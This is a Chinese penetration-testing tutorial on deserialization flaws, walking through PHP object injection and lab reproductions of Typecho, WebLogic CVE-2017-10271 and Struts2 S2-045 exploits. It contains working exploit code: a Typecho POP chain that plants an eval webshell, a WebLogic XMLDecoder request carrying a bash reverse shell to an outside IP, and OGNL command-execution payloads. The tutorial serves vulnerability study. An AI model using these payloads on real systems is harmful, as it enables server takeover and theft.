反序列化漏洞及漏洞复现

文章目录

  • 渗透测试漏洞原理
  • 不安全的反序列化
    • 1. 序列化与反序列化
      • 1.1 引例
      • 1.2 序列化实例
        • 1.2.1 定义一个类
        • 1.2.2 创建对象
        • 1.2.3 反序列化
        • 1.2.4 对象注入
    • 2. 漏洞何在
      • 2.1 漏洞触发
    • 3. 反序列化漏洞攻防
      • 3.1 PHP反序列化实例
        • 3.1.1 漏洞利用脚本
        • 3.1.2 漏洞利用
        • 3.1.3 获取GetShell
      • 3.2 Java反序列化实例
        • 3.2.1 Weblogic < 10.3.6 'wls-wsat' XMLDecoder 反序列化漏洞
          • 3.2.1.1 漏洞描述
          • 3.2.1.2 影响版本
          • 3.2.1.3 漏洞复现
          • 3.2.1.4 漏洞扫描
          • 3.2.1.5 漏洞验证
        • 3.2.2 S2-045 Remote Code Execution Vulnerablity
          • 3.2.2.1 启动镜像
          • 2.2.2.2 访问页面
          • 3.2.2.3 漏洞检测
          • 3.2.2.4 漏洞利用
      • 3.3 反序列化漏洞防御

渗透测试漏洞原理

不安全的反序列化

在这里插入图片描述

问题：为什么要序列化？

序列化，“将对象的状态信息转换为可以存储或传输的形式的过程”，这种形式大多为字节流、字符串、Json 串。在序列化期间内，将对象当前状态写⼊到临时或永久性的存储区。以后，就可以通过从存储区中读取或还原（反序列化）对象的状态，重新创建该对象。简单的说，序列化就是把一个对象变成可以传输的字符串，可以以特定的格式在进程之间跨平台安全的进行通信。

1. 序列化与反序列化

以PHP 语言为例。

对象 – 序列化 --> 字符串、Json – 反序列化 --> 对象

1.1 引例

JSON 数据是数据的一种表达形式，与Python 中的字典类似。

// json.php
<?php$stu = array('name'   => 'wuhu', 'age'	=> 18,'sex'	=> true, 'score' => 89.9);// echo $stu;		//只能输入文本字符串// var_dump($stu);	$stu_json = json_encode($stu); echo $stu_json;echo "<hr />";$stu_json = isset($_GET['stu'])?$_GET['stu']:$stu_json;$stu = json_decode($stu_json); var_dump($stu);
?>

说明：

  • json_encode：对变量进行 JSON 编码。
  • json_decode：对 JSON 格式的字符串进行解码。

验证：

?stu={"name":"wuhu","age":19,"sex":true,"score":89.9}

image-20230905140647421

1.2 序列化实例

1.2.1 定义一个类

定义一个类

<?php//   stu.class.phpclass Stu{public $name; public $age; public $sex; public $score;}
?>

1.2.2 创建对象

创建一个对象，并对该对象进行序列化操作，将对象转化为可以存储、传输的字符串。

<?php// serialize.phpinclude   "./stu.class.php";$stu1 = new Stu();			//创建一个名为“Stu”的对象实例。//给 $stu1 对象的属性赋值$stu1 -> name	= "wuhu";	//$stu1.name$stu1 -> age	= 24;$stu1 -> sex	= true;$stu1 -> score   = 99.9;// echo $stu1;// var_dump($stu1);$_stu1 = serialize($stu1); echo $_stu1;?>

说明：

  • 使用 serialize() 函数可以将对象序列化为字符串，同时保留对象的属性值和结构。

序列化后的字符串：

O:3:"Stu":4:{s:4:"name";s:4:"wuhu";s:3:"age";i:24;s:3:"sex";b:1;s:5:"score";d:99.9;}

image-20230905142628955

1.2.3 反序列化

将字符串转化为对象。

<?php//   unserialize.phpinclude "./stu.class.php";$stu1_ser = 'O:3:"Stu":4:{s:4:"name";s:4:"wuhu";s:3:"age";i:24;s:3:"sex";b:1;s:5:"score";d:99.9;}';$stu1_obj = unserialize($stu1_ser); var_dump($stu1_obj);
?>

1.2.4 对象注入

如果反序列化字符串，Web 用户可以控制，则造成对象注入。

<?php// $stu1_seria = 'O:3:"Stu":4:{s:4:"name";s:4:"wuhu";s:3:"age";i:24;s:3:"sex";b:1;s:5:"score";d:99.9;}';$stu1_ser = $_GET['wuhu'];$stu1_obj = unserialize($stu1_ser); var_dump($stu1_obj);
?>

页面效果

image-20230905142939050

我们可以操控序列化后的字符串，使其变成我们想让其输出的样子。

PHP 的反序列化漏洞也叫PHP 对象注⼊，是一个⾮常常⻅的漏洞，这种漏洞在某些场景下虽然有些难以利⽤，但是一旦利⽤成功就会造成非常危险的后果。

2. 漏洞何在

2.1 漏洞触发

创建vul.class.php文件在里面创建一个类

<?php//   vul.class.phpclass Vul{public $str = "wuhu";function __destruct(){//echo "This is function __destruct()"; @eval($this -> str);}}
?>

创建一个test.php文件在里面创建一个Vul对象

<?php// test.phpinclude './vul.class.php';$s = new Vul(); echo serialize($s); echo "<hr />";$_s = $_GET['s_ser'];$s = unserialize($_s); var_dump($s);?>

序列化代码

O:3:"Vul":1:{s:3:"str";s:4:"wuhu";}

参数说明：

  • O ：表示序列化后的数据是一个对象（object）。

  • 3 ：表示该对象的类名 Vul 的字节数（即类名长度为 3）。

  • :"Vul"：类名，表示该对象属于名为 Vul 的类。

  • 1：表示该对象有 1 个属性。

  • {}：对象的属性和值的集合，用大括号括起来。

  • s:3:"str": 属性名为 str，表示一个字符串类型。

    • s: 表示后面的值是一个字符串。
    • 3: 表示该字符串的长度为 3 个字符。
    • :"str": 属性的值为 “str”。

  • s:4:"wuhu": 属性名 str 的值为 “wuhu”，也是一个字符串类型。

    • s: 表示后面的值是一个字符串。
    • 4: 表示该字符串的长度为 4 个字符。
    • :"wuhu": 属性值为 “wuhu”。

反序列化执行代码

?s_ser=O:3:"Vul":1:{s:3:"str";s:10:"phpinfo();";}

image-20230905160020090

解析：

__destruct()：会被对象自动调用。

以 __ 开头的函数，是PHP 中的魔术方法。类中的魔术⽅法，在特定情况下会自动调⽤。即使魔术方法在类中没有被定义，也是真实存在的。

魔术方法触发条件
__construct()在创建对象时⾃动调⽤，构造函数
__destruct()在销毁对象时⾃动调⽤，析构函数
__call();
__callStatic();
__get(); 
__set(); 
__isset(); 
__unset(); 
__sleep(); 
__wakeup();			# 创建对象之前触发。
__toString(); 
__invoke(); 
__set_state(); 
__clone(); 
__debuginfo();

漏洞形成的根本原因就是程序没有对用户输入的反序列化字符串进行检测，导致反序列化过程可以被恶意控制，进而造成代码执行、GetShell 等一系列不可控的后果。反序列化漏洞并不是PHP 特有的，也存在于Java、Python 语言中，其原理基本相同。

补充

提交O:3:“Vul”:1:{s:3:“str”;s:4:“wuhu”;}，页面显示效果如下：

image-20230905164401508

提交O:3:“Stu”:4:{s:4:“name”;s:4:“wuhu”;s:3:“age”;i:24;s:3:“sex”;b:1;s:5:“score”;d:99.9;}，页面显示效果如下：

image-20230905164345215

发现这里Object中的类名变成了__PHP_Incomplete_Class。

原先的Vul中只有一个变量，选择添加一个变量O:3:“Vul”:2:{s:3:“str”;s:4:“wuhu”;s:3:“age”;i:24;}，查看页面显示效果：

image-20230905164552723

要求：反序列后的字符串要符合要求，变量没有要求，但是类名字有要求。也就是说提交的反序列化字符串，要想让程序可以理解，需要保障类的名字必须与程序中定义的一致！

3. 反序列化漏洞攻防

3.1 PHP反序列化实例

  • Typecho 反序列化漏洞。

3.1.1 漏洞利用脚本

<?phpclass Typecho_Feed{const RSS1 = 'RSS 1.0';const RSS2 = 'RSS 2.0';const ATOM1 = 'ATOM 1.0';const DATE_RFC822 = 'r';const DATE_W3CDTF = 'c';const EOL = "\n";private $_type;private $_items;public function __construct(){$this->_type = $this::RSS2;$this->_items[0] = array('title' => '1','link' => '1','date' => 1508895132,'category' => array(new Typecho_Request()),'author' => new Typecho_Request(),);}}class Typecho_Request{private $_params = array();private $_filter = array();public function __construct(){$this->_params['screenName'] = 'phpinfo()';$this->_filter[0] = 'assert';}}$exp = array('adapter' => new Typecho_Feed(),'prefix' => 'typecho_');echo base64_encode(serialize($exp));	//将序列化字符串做base64编码操作
?>

注意：攻击的对象是Typecho，所以构造的类，必须是Typecho应用中存在的类的名字Typecho_Feed、Typecho_Request。

浏览器中访问该文件

image-20230905165942302

会生成的base64编码后序列化后的字符串

image-20230905170009264

YToyOntzOjc6ImFkYXB0ZXIiO086MTI6IlR5cGVjaG9fRmVlZCI6Mjp7czoxOToiAFR5cGVjaG9fRmVlZABfdHlwZSI7czo3OiJSU1MgMi4wIjtzOjIwOiIAVHlwZWNob19GZWVkAF9pdGVtcyI7YToxOntpOjA7YTo1OntzOjU6InRpdGxlIjtzOjE6IjEiO3M6NDoibGluayI7czoxOiIxIjtzOjQ6ImRhdGUiO2k6MTUwODg5NTEzMjtzOjg6ImNhdGVnb3J5IjthOjE6e2k6MDtPOjE1OiJUeXBlY2hvX1JlcXVlc3QiOjI6e3M6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX3BhcmFtcyI7YToxOntzOjEwOiJzY3JlZW5OYW1lIjtzOjk6InBocGluZm8oKSI7fXM6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX2ZpbHRlciI7YToxOntpOjA7czo2OiJhc3NlcnQiO319fXM6NjoiYXV0aG9yIjtPOjE1OiJUeXBlY2hvX1JlcXVlc3QiOjI6e3M6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX3BhcmFtcyI7YToxOntzOjEwOiJzY3JlZW5OYW1lIjtzOjk6InBocGluZm8oKSI7fXM6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX2ZpbHRlciI7YToxOntpOjA7czo2OiJhc3NlcnQiO319fX19czo2OiJwcmVmaXgiO3M6ODoidHlwZWNob18iO30=

3.1.2 漏洞利用

这里通过POST方式提交攻击代码。

image-20230905171025692

攻击代码的效果是由assert执行phpinfo()，页面效果

image-20230905171039876

3.1.3 获取GetShell

构造payload：

<?php
class Typecho_Request
{private $_params = array();private $_filter = array();public function __construct(){$this->_params['screenName'] = 'file_put_contents(\'wuhu.php\',\'<?php @eval($_POST[777]);?>\')';$this->_filter[0] = 'assert';}
}class Typecho_Feed
{private $_type;private $_items = array();public $dateFormat;public function __construct(){$this->_type = 'ATOM 1.0';$item['author'] = new Typecho_Request();$this->_items[0] = $item;}
}$x = new Typecho_Feed();
$a = array('adapter' => $x,'prefix' => 'typecho_'
);
echo "<pre>";
print_r($a);
echo "</pre>";
echo serialize($a)."<br>";
echo "__typecho_config=".base64_encode(serialize($a));
?>

将上述代码复制到文件并保存然后浏览器中访问该文件

image-20230905200427158

修改cookie前：

image-20230905201908778

修改Cookie后：

image-20230905202010895

蚁剑进行连接

image-20230905202042308

3.2 Java反序列化实例

3.2.1 Weblogic < 10.3.6 ‘wls-wsat’ XMLDecoder 反序列化漏洞

Weblogic < 10.3.6 ‘wls-wsat’ XMLDecoder 反序列化漏洞。

说明内容
漏洞编号CVE-2017-10271
漏洞名称Weblogic < 10.3.6 ‘wls-wsat’ XMLDecoder 反序列化漏洞
漏洞评级高危
影响范围10.3.6.0.0
12.1.3.0.0
12.2.1.1.0
12.2.1.2.0
漏洞描述Veblogic在wls-wsat.war中的VLS Security组件对外提供WebService服务，
其中使用了XMLDecoder来解析用户传入的XML数据，
在解析的过程中出现反序列化漏洞，导致可执行任意命令。
修复方案打补丁，上设备，升级组件
3.2.1.1 漏洞描述

Oracle Fusion中间件的Dracle WebLogic Server组件中的漏洞（子组件：WLS Security)。受影响的支持版本为10.3.6.0.0、12.1.3.0.0、12.2.1.1.0和12.2.1.2.0。易被攻击的漏洞允许未经身份验证的攻击者通过T3进行网络访问，从而危及Oracle WebLogic Server。成功攻击此漏洞可能导致接管Oracle WebLogic Server。

CVSS3.0基础分数7.5（可用性影响）。

CVSS矢量：(CVSS:3.O/AV:N/AC:L/PR:N/U:N/S:U/C:N/:N/A:H)。

3.2.1.2 影响版本

  • Weblogic 10.3.6.0.0

  • Weblogic 12.1.3.0.0

  • Weblogic 12.2.1.1.0

  • Weblogic 12.2.1.2.0

3.2.1.3 漏洞复现

启动环境

image-20230905173553168

访问页面

image-20230905173646282

在URL中输入http://127.0.0.1:7001/console，访问成功

image-20230905173740675

3.2.1.4 漏洞扫描

使用扫描工具nacs

sudo ./nacs -h 192.168.188.185 -pa 7001

image-20230905174305779

扫描工具：0xn0ne/weblogicScanner: weblogic 漏洞扫描工具。

使用方法

python3 ws.py -t 192.168.188.185

image-20230905175902997

3.2.1.5 漏洞验证

访问页面

/wls-wsat/CoordinatorPortType

image-20230905183216758

使用bp抓取数据包

image-20230905183330945

发送到重发器上，将其修改为POST请求

image-20230905183708178

然后发送如下数据包（注意其中反弹shell的语句，需要进行编码，否则解析XML的时候将出现格式错误）

POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: your-ip:7001
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: text/xml
Content-Length: 633<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i &gt;&amp; /dev/tcp/10.0.0.1/21 0&gt;&amp;1</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>

例如错误如下：

image-20230905184120794

由于提交的是XML所以修改Content-Type值为text/xml

image-20230905184600301

利用DNSLOG平台，进行无回显RCE漏洞验证。

DNSLog Platform

image-20230905184707859

pz9kgu.dnslog.cn

修改数据包，进行URL编码，然后进行发送

image-20230905185022477

页面显示结果

image-20230905184922992

然后使用反弹shell

image-20230905185702225

kali先开启监听

image-20230905185635569

反弹成功

image-20230905185747009

3.2.2 S2-045 Remote Code Execution Vulnerablity

  • S2-045 Remote Code Execution Vulnerablity。
3.2.2.1 启动镜像

image-20230905190944661

2.2.2.2 访问页面

image-20230905190934670

3.2.2.3 漏洞检测

使用nacs扫描漏洞

sudo ./nacs -h 192.168.188.185 -pa 9080

image-20230905191228445

扫描到了该漏洞

3.2.2.4 漏洞利用
POST / HTTP/1.1
Host: localhost:8080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.8,es;q=0.6
Connection: close
Content-Length: 0
Content-Type: %{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('vulhub',233*233)}.multipart/form-data

使用bp抓包

image-20230905191442063

右键发送到重发器，然后修改为POST请求

image-20230905191528882

然后将漏洞利用代码复制到Content-Type中，发包即可

image-20230905191752452

233*233=54289漏洞存在。

输入我们的漏洞利用代码：

"%{(#xxx='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='"pwd"').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"

image-20230905192913290

还有如下案例：

  • JBoss 5.x/6.x 反序列化漏洞。

  • Fastjson 1.2.24 反序列化导致任意命令执行漏洞。

  • Fastjson 1.2.47 远程命令执行漏洞。

  • Apache Shiro 1.2.4反序列化漏洞（CVE-2016-4437）。

3.3 反序列化漏洞防御

漏洞防御：

  • 升级组件到最新版本

  • 黑白名单过滤敏感字符

  • 禁用反序列化功能

  • 部署安全设备

本文来自互联网用户投稿，该文观点仅代表作者本人，不代表本站立场。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如若转载，请注明出处：http://www.hqwc.cn/news/106297.html

如若内容造成侵权/违法违规/事实不符，请联系编程知识网进行投诉反馈email:809451989@qq.com，一经查实，立即删除！

相关文章

Python网页请求超时如何解决

Python网页请求超时如何解决

在进行网络爬虫项目时&#xff0c;我们经常需要发送大量的请求来获取所需的数据。然而&#xff0c;由于网络环境的不稳定性&#xff0c;请求可能会因为超时而失败。请求超时可能导致数据获取不完整&#xff0c;影响爬虫的效率和准确性。此外&#xff0c;频繁的请求超时可能会被…
阅读更多...
KNN算法回归问题介绍和实现

KNN算法回归问题介绍和实现

上篇博客中&#xff0c;介绍了使用KNN算法实现分类问题&#xff0c;本篇文章介绍使用KNN算法实现回归问题。介绍思路是先使用sklearn包提供的方法实现一个KNN算法的回归问题。再自定义实现一个KNN算法的回归问题工具类。 一、sklearn包使用KNN算法 1. 准备数据 使用sklearn包…
阅读更多...
单片机之硬件记录

单片机之硬件记录

一、概念 VBAT 当使用电池或其他电源连接到VBAT脚上时&#xff0c;当VDD断电时&#xff0c;可以保存备份寄存器的内容和维持RTC的功能。如果应用中没有使用外部电池&#xff0c;VBAT引脚应接到VDD引脚上。 VCC&#xff1a;Ccircuit 表示电路的意思,即接入电路的电压&#x…
阅读更多...
java设计模式，简单工厂和抽象工厂有什么区别？

java设计模式，简单工厂和抽象工厂有什么区别？

java设计模式&#xff0c;简单工厂和抽象工厂有什么区别&#xff1f; 简单工厂模式&#xff1a; 这个模式本身很简单而且使用在业务较简单的情况下。一般用于小项目或者具体产品很少扩展的情况&#xff08;这样工厂类才不用经常更改&#xff09;。 它由三种角色组成&#xf…
阅读更多...
pip和conda的环境管理，二者到底应该如何使用

pip和conda的环境管理，二者到底应该如何使用

关于pip与conda是否能混用的问题&#xff0c;Anaconda官方早就给出了回答 先说结论&#xff0c;如果conda和pip在相同环境下掺杂使用&#xff0c;尤其是频繁使用这两个工具进行包的安装&#xff0c;可能会导致环境状态混乱 就像其他包管理器一样&#xff0c;大部分这些问题均…
阅读更多...
Eviews用向量自回归模型VAR实证分析公路交通通车里程与经济发展GDP协整关系时间序列数据和脉冲响应可视化...

Eviews用向量自回归模型VAR实证分析公路交通通车里程与经济发展GDP协整关系时间序列数据和脉冲响应可视化...

全文下载链接&#xff1a;http://tecdat.cn/?p27784 河源市是国务院1988年1月7日批准设立的地级市&#xff0c;为了深入研究河源市公路交通与经济发展的关系&#xff0c;本文选取了1988&#xff0d;2014年河源市建市以来24年的地区生产总值&#xff08;GDP&#xff09;和公路通…
阅读更多...
Linux dup dup2函数

Linux dup dup2函数

/*#include <unistd.h>int dup2(int oldfd, int newfd);作用&#xff1a;重定向文件描述符oldfd 指向 a.txt, newfd 指向b.txt,调用函数之后&#xff0c;newfd和b.txt close&#xff0c;newfd指向a.txtoldfd必须是一个有效的文件描述符 */ #include <unistd.h> #i…
阅读更多...
selenium的Chrome116版驱动下载

selenium的Chrome116版驱动下载

这里写自定义目录标题 下载地址https://googlechromelabs.github.io/chrome-for-testing/#stable 选择chromedriver 对应的平台和版本 国内下载地址 https://download.csdn.net/download/dongtest/88314387
阅读更多...
北斗高精度定位，破解共享单车停车乱象

北斗高精度定位，破解共享单车停车乱象

如今&#xff0c;共享单车已经成为了许多人出行的首选方式&#xff0c;方便了市民们的“最后一公里”&#xff0c;给大家的生活带来了很多便利。然而&#xff0c;乱停乱放的单车也给城市治理带来了难题。在这种情况下&#xff0c;相关企业尝试将北斗导航定位芯片装载到共享单车…
阅读更多...
Mysql-＞Hudi-＞Hive

Mysql-＞Hudi-＞Hive

一 准备 1.启动集群 /hive/mysql start-all.sh2.启动spark-shell spark-shell \--master yarn \ //--packages org.apache.hudi:hudi-spark3.1-bundle_2.12:0.12.2 \--jars /opt/software/hudi-spark3.1-bundle_2.12-0.12.0.jar \--conf spark.serializerorg.apache.spark.…
阅读更多...
【数据结构】双向链表详解

【数据结构】双向链表详解

当我们学习完单链表后&#xff0c;双向链表就简单的多了&#xff0c;双向链表中的头插&#xff0c;尾插&#xff0c;头删&#xff0c;尾删&#xff0c;以及任意位置插&#xff0c;任意位置删除比单链表简单&#xff0c;今天就跟着小张一起学习吧&#xff01;&#xff01; 双向链…
阅读更多...
12个微服务架构模式最佳实践

12个微服务架构模式最佳实践

微服务架构是一种软件开发技术&#xff0c;它将大型应用程序分解为更小的、可管理的、独立的服务。每个服务负责特定的功能&#xff0c;并通过明确定义的 API 与其他服务进行通信。微服务架构有助于实现软件系统更好的可扩展性、可维护性和灵活性。 接下来&#xff0c;我们将介…
阅读更多...
推荐文章
最新文章

Copyright @ 2022~2023